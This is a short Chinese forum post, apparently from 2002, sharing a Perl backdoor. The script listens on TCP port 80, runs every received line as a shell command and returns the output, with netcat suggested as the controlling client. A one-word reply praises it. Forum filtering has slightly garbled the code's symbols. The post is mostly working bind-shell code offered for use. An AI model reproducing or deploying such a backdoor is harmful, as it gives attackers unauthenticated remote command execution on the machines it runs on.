下面是一段很“短”的代码，是客户端的，他打开一个断口监听并执行远程发出的命令，将结果返回给远程的控制端。（远程的控制端推荐使用netcat）
PS：这个论坛过滤符号!
#
# by Locust 2002/in china
# icq:46741881
#!/usr/bin/perl
use IO::Socket;
my $socket = new IO::Socket::INET ( 'Localhost'=>;'127.0.0.1' , 'LocalPort'=>;80 , 'Listen'=>;1 , 'Proto'=>;'tcp' , 'Reuse'=>;1 );
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->;accept() ) {
while (my $buffer=<$new_socket>;) {
if ($buffer) {exit if ($buffer=~m/exit/);
$res_msg=`$buffer`;$res_msg="error command!!\n" if (!$res_msg);
print $new_socket $res_msg."\n";]}
sdzwb 回复于：2003-01-04 14:04:57
good
|
